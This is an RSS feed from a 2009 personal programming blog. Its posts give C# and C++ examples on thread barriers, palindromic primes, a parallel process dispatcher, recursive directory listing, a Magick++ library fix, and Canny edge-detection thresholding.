<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kerry D. Wong &#187; Coding</title>
	<atom:link href="http://www.kerrywong.com/category/coding/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kerrywong.com</link>
	<description></description>
	<lastBuildDate>Sat, 13 Mar 2010 01:47:11 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A Simple Thread Barrier Implementation</title>
		<link>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/</link>
		<comments>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 01:03:38 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Barrier]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1540</guid>
		<description><![CDATA[Sometimes a group of concurrently running threads may need to rendezvous at a certain point in time before they can further proceed. This situation commonly arises in areas like event simulation, where the events are synchronized via a clock event (see illustration below):
In the above example, a number of threads start at different times with [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes a group of concurrently running threads may need to rendezvous at a certain point in time before they can further proceed. This situation commonly arises in areas like event simulation, where the events are synchronized via a clock event (see illustration below):<span id="more-1540"></span><br />
<div id="attachment_1541" class="wp-caption aligncenter" style="width: 620px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/11/eventbarrier.gif"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/11/eventbarrier.gif" alt="Event Barrier" title="Event Barrier" width="610" height="176" class="size-full wp-image-1541" /></a><p class="wp-caption-text">Event Barrier</p></div></p>
<p>In the above example, a number of threads start at different times with the arrival of each clock event and wait till all threads finish running before the next clock event arrives.</p>
<p>Such <a href="http://en.wikipedia.org/wiki/Barrier_%28computer_science%29">barrier</a> can be implemented using various techniques with different level of difficulties. <a href="http://www.albahari.com/threading/part3.aspx#_Thread_Pooling">One possible implementation</a> can be found in  <a href="http://www.albahari.com/threading/">Joseph Albahari&#8217;s Threading in C#</a> where a monitor construct is used to wait on a synchronization object in the main thread after the worker threads are queued. </p>
<pre class="brush: csharp;">
    lock (workerLocker)
    {
      while (runningWorkers &gt; 0)
        Monitor.Wait (workerLocker);
    }
</pre>
<p>In each of the worker thread, the number of running workers is decremented when the thread finishes:</p>
<pre class="brush: csharp;">
    lock (workerLocker)
    {
      runningWorkers--;
      Monitor.Pulse (workerLocker);
    }
</pre>
<p>And when the running number of workers reaches zero, the monitor exist the wait condition and the main thread continues.</p>
<p>The wait on the locker object forms a barrier in the example above. The method illustrated here is simple and elegant. It can be used to create the barriers needed to synchronize the clock event mentioned earlier.</p>
<p>Threadpooling might not always be the optimal solution though. While the number of threads in a thread pool is typically bounded to a few dozens, it may incur excessive context switching penalties if the majority of the threads are CPU bound. In a computation intensive situation, a fixed number of threads approximating the number of computational cores would be more appropriate (for instance, four threads on a four core CPU).</p>
<p>Here I will show another relatively simple way to construct a barrier where only a predetermined maximum number of threads can reach at a given time. To achieve such a ceiling, a global semaphore is used (in this example three concurrent threads can enter the semaphore):</p>
<pre class="brush: csharp;">
public class Global
{
    public static Semaphore sp = new Semaphore(3, 3);
}
</pre>
<p>To simplify coding and shield the programmer from the synchronization mechanism details, I created an <strong>IEvent</strong> interface and an abstract <strong>EventBase</strong> as follows:</p>
<pre class="brush: csharp;">
interface IEvent
{
    void OnEvent(int arg);
}
</pre>
<pre class="brush: csharp;">
public abstract class EventBase : IEvent
{
    #region IEvent Members
    public void OnEvent(int arg)
    {
        Global.sp.WaitOne();
        Run(arg);
        Global.sp.Release();
    }
    #endregion

    public virtual void Run(int arg)
    {
    }
}
</pre>
<p>Users can simply implement their code that needs to block at the barrier by inheriting from <strong>EventBase</strong> and overridding the <strong>Run()</strong> method:</p>
<pre class="brush: csharp;">
public class Event1 : EventBase
{
    public override void Run(int arg)
    {
        Console.WriteLine(&quot;Thread {0}, arg {1}&quot;, Thread.CurrentThread.ManagedThreadId, arg);
        Thread.Sleep(1000);
    }
}
</pre>
<p>To illustrate how this barrier implementation can be used considering the following code:</p>
<pre class="brush: csharp;">
class Program
{
    delegate void MyEvent(int arg);

    static void Main(string[] args)
    {
        IEvent e = new Event1();
        MyEvent m = new MyEvent(e.OnEvent);

        List&lt;IAsyncResult&gt; l = new List&lt;IAsyncResult&gt;();

        for (int i = 0 ; i &lt; 6 ; i++)
        {
          IAsyncResult r = m.BeginInvoke(i, null, null);
          l.Add(r);
        }

        foreach (IAsyncResult r in l)
        {
            m.EndInvoke(r);
        }
    }
}
</pre>
<p>In the code above, we simulate six concurrent threads that need to be synchronized. The multi-threading is achieved via asynchronous invocation. Because the capacity of the semaphore is set to be 3 in this example and if this code is run on a quad-core machine, you will see that the six asynchronous threads are run in two batches, three at a time. And all the threads are synchronized at the end. Here is the sample output:</p>
<blockquote><p>
Thread 10, arg 1<br />
Thread 11, arg 2<br />
Thread 6, arg 0<br />
Thread 13, arg 4<br />
Thread 10, arg 5<br />
Thread 12, arg 3
</p></blockquote>
<p>Using this approach, the number of concurrently running threads can be precisely controlled by the maximum threads allowed in the semaphore.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/11/27/a-simple-thread-barrier-implementation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Simple Program for Finding Palindromic Prime Numbers</title>
		<link>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/</link>
		<comments>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 01:49:08 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Miscellaneous]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Palindromic Prime Number]]></category>
		<category><![CDATA[Palprime]]></category>
		<category><![CDATA[Prime Number]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1527</guid>
		<description><![CDATA[A palindromic prime (palprime) is a prime number that is also palindromic. So out of curiosity I wrote a simple program a few days ago that can find the palindromic numbers within a given range. Here is the code in C++:

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;limits.h&#62;
#include &#60;math.h&#62;
#include &#60;iostream&#62;

using namespace std;

bool IsPrime(unsigned long long n) {
	bool r = [...]]]></description>
			<content:encoded><![CDATA[<p>A <a href="http://mathworld.wolfram.com/PalindromicPrime.html">palindromic prime</a> (palprime) is a prime number that is also palindromic. So out of curiosity I wrote a simple program a few days ago that can find the palindromic numbers within a given range. Here is the code in C++:<span id="more-1527"></span></p>
<pre class="brush: cpp;">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;limits.h&gt;
#include &lt;math.h&gt;
#include &lt;iostream&gt;

using namespace std;

bool IsPrime(unsigned long long n) {
	bool r = true;

	for (unsigned long long i = 3; i &lt; sqrt((double) n) + 1; i+= 2)
	{
		if (n % i ==0) {
			r = false;
			break;
		}
	}

	return r;
}

bool IsPalindrome(unsigned long long n) {
	bool r = true;
	char s[30];
	int l = sprintf(s, &quot;%llu&quot;, n);

	if (l == 1 &amp;&amp; n != 1) {
		r = true;
	} else	{
		for (int i = 0; i &lt; l/2; i++) {
			if (s[i] != s[l-i-1]) {
				r = false;
				break;
			}
		}
	}

	return r;
}

/*
 * usage: palprime [lbound] [ubound]
 */
int main(int argc, char** argv) {
	unsigned long long beginNum = 3;
	unsigned long long endNum = 3;

	if (argc == 2) { // lbound default to 3
#ifdef _WIN32
		endNum = _strtoui64(argv[1], NULL, 10);
#else
		endNum = strtoull(argv[1], NULL, 10);
#endif

	} else if (argc == 3) {
#ifdef _WIN32
		beginNum = _strtoui64(argv[1], NULL, 10);
		endNum = _strtoui64(argv[2], NULL, 10);
#else
		beginNum = strtoull(argv[1], NULL, 10);
		endNum = strtoull(argv[2], NULL, 10);
#endif
	}

        unsigned long long i = beginNum;

        while (i &lt; endNum) {
                char s[30];
                int l = sprintf(s, &quot;%llu&quot;, i);

		//length cannot be even as even length palindrome numbers
		//can be divided by 11.
                if (l % 2 == 0) {
                    i = ((unsigned long long) (i / 10)) * 100 + 1;
                    continue;
                }

		if (IsPalindrome(i)) {
			if (IsPrime(i)) {
				cout &lt;&lt; i &lt;&lt; endl;
			}
		}

                i+=2;

                if (s[0] % 2 == 0) {
                    i+=pow(10, l-1);

		    //leading/ending number cannot be 5
                    if (((int) (s[0] - '0')) + 1 == 5) {
                        i += 2 * pow(10, l-1);
                    }
                }
	}
	return (EXIT_SUCCESS);
}
</pre>
<p>At first, I was trying to find all the palprimes that can be represented by 64 bit integers. But soon I realized that it would take months to do so using the code above with a quad-core PC (using 4 processes with different ranges). Anyway, here&#8217;s the last few palindromic primes less than 10,000,000,000,000:</p>
<blockquote><p>
9999899989999<br />
9999901099999<br />
9999907099999<br />
9999913199999<br />
9999919199999<br />
9999938399999<br />
9999961699999<br />
9999970799999<br />
9999980899999<br />
9999987899999
</p></blockquote>
<p>And here are a few interesting ones:</p>
<blockquote><p>
11357975311<br />
1112345432111<br />
1300000000031<br />
1700000000071<br />
1900000000091<br />
7900000000097<br />
9200000000029<br />
1357900097531
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/11/15/a-simple-program-for-finding-palindromic-prime-numbers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Poor Man&#8217;s Parallel Task Dispatcher</title>
		<link>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/</link>
		<comments>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 01:55:39 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[Mono]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1392</guid>
		<description><![CDATA[Even though multi-core processors are almost ubiquitous nowadays, applications are slow to catch up. Of course, one could always re-write the applications in order to take the full advantages in a multi-core environment. But it is not an easy undertaking. For applications that performs rather repetitive tasks over a well defined set of data (e.g. [...]]]></description>
			<content:encoded><![CDATA[<p>Even though multi-core processors are almost ubiquitous nowadays, applications are slow to catch up. Of course, one could always re-write the applications in order to take the full advantages in a multi-core environment. But it is not an easy undertaking.<span id="more-1392"></span> For applications that performs rather repetitive tasks over a well defined set of data (e.g. image processing) it is relatively easy to utilize multiple cores with some simple modifications to the applications themselves. </p>
<p>For the type of applications that perform the same task over a large dataset for example,</p>
<pre class="brush: csharp;">
for (int i = 0 ; i &lt; num ; i++)
{
    //lengthy tasks
}
</pre>
<p>we could easily break down the <em>for loop</em> evenly into chunks that fit into the number of processors given. And for each of the subsets we could create a new process to perform the desired tasks. For instance, if we were to execute the above <em>for loop</em> in parallel on a duo-core processor, we could re-write each of the loops like the following:</p>
<pre class="brush: csharp;">
//core 1
for (int i = 0 ; i &lt; num ; i+=2)
{
    //lengthy tasks
}
</pre>
<pre class="brush: csharp;">
//core 2
for (int i = 1 ; i &lt; num ; i+=2)
{
    //lengthy tasks
}
</pre>
<p>By executing the application in separate processes, we eliminated certain race conditions that must be properly handled in a multi-threaded process and thus it is far easier to execute multiple processes concurrently when there is no inter-process communications involved than to handle multi-processing within a process via multi-threading. In a multi-process scenario, the operating system handles the concurrency issue behind the scene whereas in the multi-threading case the application developer must ensure the code regions are thread safe.</p>
<p>The following C# code shows how to dispatch tasks among different processes using asynchronous method invocations. Each process being invoked can identify its order by the extra integer parameter (line 36) passed to it. Thus we only needed to modify the target application to take this extra parameter into account (for instance, in a quad-core system, the first process would process items 1,5,9&#8230; and the second process would run items 2,6,10, and so on)</p>
<pre class="brush: csharp;">
using System;
using System.Diagnostics;
using System.Threading;

namespace MPDispatcher
{
    class Program
    {
        public delegate bool CmdDlg(string fn, string args);

        private bool RunCommand(string fn, string args)
        {
            bool r = true;
            Process p = new Process();

            p.StartInfo.FileName = fn;
            p.StartInfo.Arguments = args;

			Console.WriteLine(String.Format(&quot;Starting {0} with arguments {1}. Thread ID: {2}&quot;, fn, args, Thread.CurrentThread.ManagedThreadId));
            r = p.Start();
            p.WaitForExit();

            return r;
        }

		public bool DispatchCommand(int numOfThreads, string args)
        {
            bool r = true;

            IAsyncResult[] ars = new IAsyncResult[numOfThreads];
            CmdDlg[] dlgs = new CmdDlg[numOfThreads];

            for (int i = 0; i &lt; numOfThreads; i++)
            {
                dlgs[i] = new CmdDlg(RunCommand);
                ars[i] = dlgs[i].BeginInvoke(args, i.ToString(), null, null);
				Thread.Sleep(100);
            }

            bool finished = false;

			//wait till all processes are finished.
            while (!finished)
            {
                bool t = true;

                for (int i = 0; i &lt; numOfThreads; i++)
                    t = t &amp;&amp; ars[i].IsCompleted;   

                if (t) finished = true;

                Thread.Sleep(100);
            }

            for (int i = 0; i &lt; numOfThreads; i++)
            {
                r = r &amp;&amp; dlgs[i].EndInvoke(ars[i]);
            }

            return r;
        }

        static void Main(string[] args)
        {
            Program p = new Program();

			if (args.Length &lt; 1 || args[0].ToUpper() == &quot;-H&quot;) {
				Console.WriteLine(&quot;Usage: MPDispatcher {app name} {app args}&quot;);
			} else {
				int numThreads = 4; //use 4 threads
				string argStr = string.Empty;

				for (int i = 1 ; i &lt; args.Length; i++) {
					argStr = String.Format(&quot;{0} {1}&quot;, argStr, args[i]);
				}

            	p.DispatchCommand(numThreads, argStr);
			}
        }
    }
}
</pre>
<p>The above code works under Windows and Linux (Mono). </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/07/14/poor-mans-parallel-task-dispatcher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C++ Recursive Directory Search Under Linux</title>
		<link>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/</link>
		<comments>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 21:55:29 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[boost]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1154</guid>
		<description><![CDATA[I was trying to search for some code examples on how to do a recursive directory search under Linux using C++ the other day. But to my surprise, I could not find any place that offers a complete example. So I decided to post my code here after I created my own and hopefully you [...]]]></description>
			<content:encoded><![CDATA[<p>I was trying to search for some code examples on how to do a recursive directory search under Linux using C++ the other day. But to my surprise, I could not find any place that offers a complete example. So I decided to post my code here after I created my own and hopefully you will find it helpful.<span id="more-1154"></span></p>
<p>For those who are impatient, the function to perform recursive directory search is here:</p>
<pre class="brush: cpp;">
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;dirent.h&gt;
#include &lt;errno.h&gt;
#include &lt;vector&gt;
#include &lt;string&gt;
#include &lt;iostream&gt;
#include &lt;boost/regex.hpp&gt;

void GetFileListing(vector&lt;string&gt; &amp;files, string dir, string filter, bool ignoreCase) {
    DIR *d;
    if ((d = opendir(dir.c_str())) == NULL) return;
    if (dir.at(dir.length() - 1) != '/') dir += &quot;/&quot;;

    struct dirent *dent;
    struct stat st;
    boost::regex exp;

    if (ignoreCase)
        exp.set_expression(filter, boost::regex_constants::icase);
    else
        exp.set_expression(filter);

    while ((dent = readdir(d)) != NULL) {
        string path = dir;

        if (string(dent-&gt;d_name) != &quot;.&quot; &amp;&amp; string(dent-&gt;d_name) != &quot;..&quot;) {
            path += string(dent-&gt;d_name);
            const char *p = path.c_str();
            lstat(p, &amp;st);

            if (S_ISDIR(st.st_mode)) {
                GetFiles(files, (path + string(&quot;/&quot;)).c_str(), filter, ignoreCase);
            } else {
                if (filter == &quot;.*&quot;) {
                    files.push_back(path);
                } else {
                    if (boost::regex_match(string(dent-&gt;d_name), exp)) files.push_back(path);
                }
            }
        }
    }

    closedir(d);
}
</pre>
<p>I used <a href="http://www.boost.org">boost library</a> to perform regular expression matches for file names. If you just want to obtain a listing of all the files, you can do without using the boost library.</p>
<p>The following code snippet demonstrates how to use the function. The results are stored in a vector container passed in. Note that the &#8220;filter&#8221; parameter needs standard regular expressions (so if you are looking for any files, the expression should be  .* instead of just *) to work properly.</p>
<p>The code should be pretty self-explanatory. If <em>ignoreCase</em> is set to true, then the match will be case-insensitive.</p>
<pre class="brush: cpp;">
vector&lt;string&gt; files;

FileUtils::GetFiles(files,&quot;/tmp&quot;, &quot;.*&quot;, true);
for (int i = 0 ; i &lt; files.size(); i++) {
    cout &lt;&lt; files[i] &lt;&lt; endl;
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/06/12/c-recursive-directory-search-under-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Magick++ Missing Delegate Error</title>
		<link>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/</link>
		<comments>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/#comments</comments>
		<pubDate>Thu, 21 May 2009 00:24:02 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Miscellaneous]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Magick++]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=1084</guid>
		<description><![CDATA[As I wrote last time, I did a clean Ubuntu 9.04 install on my main PC. Everything worked pretty well. But after re-installing all the packages I needed for C++ development, I realized that I still was missing some libraries as I got &#8220;Magick::ErrorMissingDelegate&#8221; exception (ImageMagick: no decode delegate for this image format) when I [...]]]></description>
			<content:encoded><![CDATA[<p>As I wrote <a href="/2009/05/13/ubuntu-904-on-my-main-pc/">last time</a>, I did a clean Ubuntu 9.04 install on my main PC. <span id="more-1084"></span>Everything worked pretty well. But after re-installing all the packages I needed for C++ development, I realized that I still was missing some libraries as I got &#8220;Magick::ErrorMissingDelegate&#8221; exception (ImageMagick: no decode delegate for this image format) when I tried to open JPEG or PNG images from code utilizing Magick++ image library.</p>
<p>After a quick <a href="http://www.imagemagick.org/discourse-server/viewtopic.php?f=1&#038;t=12366">search on ImageMagick&#8217;s site</a> I realized that I was missing the following libraries:</p>
<blockquote><p>
libpng12<br />
libjpeg62
</p></blockquote>
<p><!--more--></p>
<p>Note, that you might want to use the following commands to find out the exact package names:</p>
<blockquote><p>
sudo apt-cache search libpng<br />
sudo apt-cache search libjpeg
</p></blockquote>
<p>sudo apt-cache search libjpeg<br />
And then use the following commands to install the packages:</p>
<blockquote><p>
sudo apt-get install libpng12-0 libpng12-dev<br />
sudo apt-get install libjpeg62 libjpeg62-dev
</p></blockquote>
<p>Note that after that, you will need to re-configure and re-build the Magick++ library (e.g. ./configure, ./make ./make install) so that Magick++ library can be linked correctly with the above libraries. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/05/20/magick-missing-delegate-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Canny Edge Detection Auto Thresholding</title>
		<link>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/</link>
		<comments>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/#comments</comments>
		<pubDate>Fri, 08 May 2009 02:15:41 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Image Processing]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=999</guid>
		<description><![CDATA[In the example I gave in &#8220;Interfacing IPP with Magick++&#8220;, I illustrated how to use Intel’s Integrated Performance Primitives (IPP) to perform edge detection. One issue with Canny edge detection algorithm is that we need to specify a high threshold and a low threshold. How to select those threshold values affect the quality of the [...]]]></description>
			<content:encoded><![CDATA[<p>In the example I gave in &#8220;<a href="/2009/03/17/interfacing-ipp-with-magick/">Interfacing IPP with Magick++</a>&#8220;, I illustrated how to use <a href="http://software.intel.com/en-us/intel-ipp/">Intel’s Integrated Performance Primitives (IPP)</a> to perform edge detection. One issue with <a href="http://en.wikipedia.org/wiki/Canny_edge_detector">Canny edge detection</a> algorithm is that we need to specify a high threshold and a low threshold. How to select those threshold values affect the quality of the detected edge greatly. And in my previous example, the threshold values were chosen manually. In this blog post, I will examine a couple of simple methods that can be used to automatically determine the threshold values.<span id="more-999"></span></p>
<p>The simplest way is to use the mean value of the gray scale image pixel values. As a rule of thumb, we set the low threshold to 0.66*[mean value] and set the high threshold to 1.33*[mean value]. Another way is to use the median color in the gray scale image and uses 0.66*[median value] and 1.33*[median value] accordingly. For typical images, these two methods achieve comparable results.</p>
<p>For example, the following shows the picture of a building along with its histogram (original image from <a href="ftp://ftp.research.microsoft.com/pub/download/orid">Microsoft Research Digital Image</a>. Please see <a href="http://research.microsoft.com/en-us/um/people/antcrim/data_objrec/msr%20cambridge%20eula%20for%20digital%20images_download.rtf">Microsoft Research Digital Image License Agreement</a> for more information):</p>
<table>
<tr>
<td>
<div id="attachment_1011" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_gray.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_gray.jpg" alt="Building" title="Building" width="320" height="240" class="size-full wp-image-1011" /></a><p class="wp-caption-text">Building</p></div>
</td>
<td>
<div id="attachment_1012" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_hist.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_hist.png" alt="Building Histogram" title="Building Histogram" width="320" height="240" class="size-full wp-image-1012" /></a><p class="wp-caption-text">Building Histogram</p></div>
</td>
</tr>
</table>
<p>The following shows the edge detection results using Canny algorithm (left image uses mean value auto-thresholding, right image uses median value auto-thresholding) and the results exhibit very little visible differences. </p>
<table>
<tr>
<td>
<div id="attachment_1006" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_mean.jpg" alt="Building (Canny Mean)" title="Building (Canny Mean)" width="320" height="240" class="size-full wp-image-1006" /></a><p class="wp-caption-text">Building (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1007" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/building_canny_median.jpg" alt="Building (Canny Median)" title="Building (Canny Median)" width="320" height="240" class="size-full wp-image-1007" /></a><p class="wp-caption-text">Building (Canny Median)</p></div>
</td>
</tr>
</table>
<p>However, for images has non-equalized histogram (see the picture of cloud and its histogram below): </p>
<table>
<tr>
<td>
<div id="attachment_1018" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_gray.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_gray.jpg" alt="Cloud" title="Cloud" width="240" height="320" class="size-full wp-image-1018" /></a><p class="wp-caption-text">Cloud</p></div>
</td>
<td>
<div id="attachment_1019" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist.png" alt="Cloud Histogram" title="Cloud Histogram" width="320" height="240" class="size-full wp-image-1019" /></a><p class="wp-caption-text">Cloud Histogram</p></div>
</td>
</tr>
</table>
<p>Canny Edge detection result based on mean value auto-thresholding is pretty poor (see image on the left below), while edge detection based on median value auto-thresholding achieved much better result (see image on the right below)</p>
<table>
<tr>
<td>
<div id="attachment_1021" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_canny_mean.jpg" alt="Cloud (Canny Mean)" title="Cloud (Canny Mean)" width="240" height="320" class="size-full wp-image-1021" /></a><p class="wp-caption-text">Cloud (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1024" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg" alt="Cloud (Canny Median)" title="Cloud (Canny Median)" width="240" height="320" class="size-full wp-image-1024" /></a><p class="wp-caption-text">Cloud (Canny Median)</p></div>
</td>
</tr>
</table>
<p>Alternatively, we could have performed histogram equalization on the image first before applying Canny edge detection with mean auto-thresholding:</p>
<table>
<tr>
<td>
<div id="attachment_1026" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq.png" alt="Cloud Equalized" title="Cloud Equalized" width="240" height="320" class="size-full wp-image-1026" /></a><p class="wp-caption-text">Cloud Equalized</p></div>
</td>
<td>
<div id="attachment_1028" class="wp-caption aligncenter" style="width: 330px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist_eq.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_hist_eq.png" alt="Cloud Equalized Histogram" title="Cloud Equalized Histogram" width="320" height="240" class="size-full wp-image-1028" /></a><p class="wp-caption-text">Cloud Equalized Histogram</p></div>
</td>
</tr>
</table>
<p>And after image equalization, both mean and median value auto-thresholding achieved similar results.</p>
<table>
<tr>
<td>
<div id="attachment_1030" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_mean.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_mean.jpg" alt="Cloud Equalized (Canny Mean)" title="Cloud Equalized (Canny Mean)" width="240" height="320" class="size-full wp-image-1030" /></a><p class="wp-caption-text">Cloud Equalized (Canny Mean)</p></div>
</td>
<td>
<div id="attachment_1031" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/05/cloud_eq_canny_median.jpg" alt="Cloud Equalized (Canny Median)" title="Cloud Equalized (Canny Median)" width="240" height="320" class="size-full wp-image-1030" /></a><p class="wp-caption-text">Cloud Equalized (Canny Median)</p></div>
</td>
</tr>
</table>
<p>So the Canny edge detection using median value auto-thresholding seems to adapt to different types of images very well (note selecting the median value selection can be thought as equalizing the histogram, except that the pixel values are not changed during such operation).</p>
<p>The following is the code listing for the histogram calculation using IPP (based on the <a href="/2009/04/10/an-image-class-based-on-ipp/">image class I created earlier</a>)</p>
<pre class="brush: cpp;">
/** @brief Get the min max mean value statistics for the current image
 *   @param min, max, mean: these are output parameters that are passed
 *         back by reference.
 */
void IPPGrayImage::MinMaxMean(float&amp; min, float&amp; max, double&amp; mean)
{
    IppStatus sts;
    IppiSize origImgSize = {_width, _height};

    sts = ippiMinMax_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &amp;min, &amp;max);
    assert(sts == ippStsNoErr);
    sts = ippiMean_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, &amp;mean, ippAlgHintFast);
    assert(sts == ippStsNoErr);
}

/** @brief Calculate the histogram of the image
 *   @param nLevel: the number of bins in the histogram
 *        levels: this is the optional levels user can pass in (histogram will be then
 *                calculated with these levels instead of the uniform levels by default.
 *   @return an integer array which contains the histogram.
 *   @note the histogram is by default calculated using uniform bins across the color range.
 */
unsigned int * IPPGrayImage::GetHistogram(unsigned int nLevel, float levels[])
{
    IppStatus sts;
    Ipp32f* l = new Ipp32f[nLevel];
    IppiSize origImgSize = {_width, _height};

    unsigned int* bins = new unsigned int[nLevel - 1];

    float minVal = 0, maxVal = 0, stepVal = 0;
    double meanVal = 0;
    if (levels != NULL)
    {
        for (unsigned int i = 0; i &lt; nLevel; i++)
        {
            l[i] = levels[i];
        }
    }
    else
    {
        MinMaxMean(minVal, maxVal, meanVal);
        stepVal = (maxVal - minVal) / (float) nLevel;

        for (unsigned int i = 0; i &lt; nLevel; i++)
        {
            l[i] = minVal + stepVal * i;
        }
    }

    sts = ippiHistogramRange_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, origImgSize, (Ipp32s*) bins, (Ipp32f*) l, nLevel);
    return bins;
}
</pre>
]]></content:encoded>
